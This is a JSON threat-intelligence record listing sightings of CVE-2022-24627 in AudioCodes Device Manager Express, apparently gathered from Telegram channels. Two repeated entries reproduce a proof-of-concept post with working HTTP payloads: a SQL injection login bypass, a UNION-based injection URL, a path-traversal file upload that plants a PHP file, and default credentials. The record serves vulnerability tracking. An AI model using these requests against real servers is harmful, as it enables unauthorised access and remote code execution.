{"vulnerability": "CVE-2022-24627", "sightings": [{"uuid": "4613a756-e0a9-43a0-b8bc-81328539f92e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24627", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1560", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-24627\n\ud83d\udd39 Description: An issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is an unauthenticated SQL injection in the p parameter of the process_login.php login form.\n\ud83d\udccf Published: 2023-05-29T00:00:00\n\ud83d\udccf Modified: 2025-01-14T17:23:20.222Z\n\ud83d\udd17 References:\n1. http://seclists.org/fulldisclosure/2023/Feb/12", "creation_timestamp": "2025-01-14T18:10:20.000000Z"}, {"uuid": "bb498418-8819-4ab6-b1d6-3385a18d6916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24627", "type": "seen", "source": "https://t.me/cibsecurity/64771", "content": "\u203c CVE-2022-24627 \u203c\n\nAn issue was discovered in AudioCodes Device Manager Express through 7.8.20002.47752. It is an unauthenticated SQL injection in the p parameter of the process_login.php login form.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-30T00:36:23.000000Z"}, {"uuid": "adf5b038-b6f9-4fd1-9a82-e5fe0bcf90de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24627", "type": "seen", "source": "https://t.me/hacking_Attack/91679", "content": "Exploit Collector\nDevice Manager Express 7.8.20002.47752 SQL Injection / XSS / Code Execution / Traversal\n\nhttps://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png Device Manager Express versions 7.8.20002.47752 and below suffer from code execution, command execution, cross site scripting, remote SQL injection, and traversal vulnerabilities.\n\nSHA-256 | 9f6dbcbbd09678c80d311d3e820d1c82de2bd7a04264742755ac9d8302b00c0fDownload # Product Name: Device Manager Express\n# Vendor Homepage: https://www.audiocodes.com\n# Software Link:\nhttps://www.audiocodes.com/solutions-products/products/management-products-solutions/device-manager\n# Version: <=\n# Tested on: Windows 10 / Server 2019\n# Default credentials: admin/admin\n# CVE-2022-24627, CVE-2022-24628, CVE-2022-24629, CVE-2022-24630,\nCVE-2022-24631, CVE-2022-24632\n# Exploit: https://github.com/00xEF/Audiocodes-Device-Manager-Express\n\nAudioCodes' Device Manager Express features a user interface that enables\nenterprise network administrators to set up, configure and update up to 500\n400HD Series IP phones in globally distributed corporations.\n\n----------------\nCVE-2022-24627: An unauthenticated SQL injection exists in the p parameter\nof the login form.\n----------------\nPOST /admin/AudioCodes_files/process_login.php HTTP/1.1\nHost: 10.11.12.13\n\"..\" omitted\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin&password=&domain=&p=%5C%27or+1%3D1%23\n----------------\nCVE-2022-24628: An authenticated SQL injection exists in the id parameter\nof IPPhoneFirmwareEdit.php\n----------------\n/admin/AudioCodes_files/IPPhoneFirmwareEdit.php?action=download&id=-1338'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-\n----------------\nCVE-2022-24629: A remote code execution vulnerability exists via path\ntraversal in the dir parameter of the file upload functionality .\n----------------\nPOST /admin/AudioCodes_files/BrowseFiles.php?type= HTTP/1.1\nHost: 10.11.12.13\n\"..\" omitted\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)\n\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"dir\"\n\nC:/audiocodes/express/WebAdmin/admin/AudioCodes_files/ajax/\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"type\"\n\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"myfile\"; filename=\"ajaxJabra.php\"\nContent-Type: application/x-php\n\n", "creation_timestamp": "2026-09-01T20:01:04.423103Z"}, {"uuid": "ae1e1cdf-bbd3-48a9-a57e-e672819a9e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24627", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/91679", "content": "Exploit Collector\nDevice Manager Express 7.8.20002.47752 SQL Injection / XSS / Code Execution / Traversal\n\nhttps://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png Device Manager Express versions 7.8.20002.47752 and below suffer from code execution, command execution, cross site scripting, remote SQL injection, and traversal vulnerabilities.\n\nSHA-256 | 9f6dbcbbd09678c80d311d3e820d1c82de2bd7a04264742755ac9d8302b00c0fDownload # Product Name: Device Manager Express\n# Vendor Homepage: https://www.audiocodes.com\n# Software Link:\nhttps://www.audiocodes.com/solutions-products/products/management-products-solutions/device-manager\n# Version: <=\n# Tested on: Windows 10 / Server 2019\n# Default credentials: admin/admin\n# CVE-2022-24627, CVE-2022-24628, CVE-2022-24629, CVE-2022-24630,\nCVE-2022-24631, CVE-2022-24632\n# Exploit: https://github.com/00xEF/Audiocodes-Device-Manager-Express\n\nAudioCodes' Device Manager Express features a user interface that enables\nenterprise network administrators to set up, configure and update up to 500\n400HD Series IP phones in globally distributed corporations.\n\n----------------\nCVE-2022-24627: An unauthenticated SQL injection exists in the p parameter\nof the login form.\n----------------\nPOST /admin/AudioCodes_files/process_login.php HTTP/1.1\nHost: 10.11.12.13\n\"..\" omitted\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin&password=&domain=&p=%5C%27or+1%3D1%23\n----------------\nCVE-2022-24628: An authenticated SQL injection exists in the id parameter\nof IPPhoneFirmwareEdit.php\n----------------\n/admin/AudioCodes_files/IPPhoneFirmwareEdit.php?action=download&id=-1338'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-\n----------------\nCVE-2022-24629: A remote code execution vulnerability exists via path\ntraversal in the dir parameter of the file upload functionality .\n----------------\nPOST /admin/AudioCodes_files/BrowseFiles.php?type= HTTP/1.1\nHost: 10.11.12.13\n\"..\" omitted\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)\n\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"dir\"\n\nC:/audiocodes/express/WebAdmin/admin/AudioCodes_files/ajax/\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"type\"\n\n-----------------------------119140522224988540294045582807\nContent-Disposition: form-data; name=\"myfile\"; filename=\"ajaxJabra.php\"\nContent-Type: application/x-php\n\n", "creation_timestamp": "2026-09-04T21:00:04.879774Z"}]}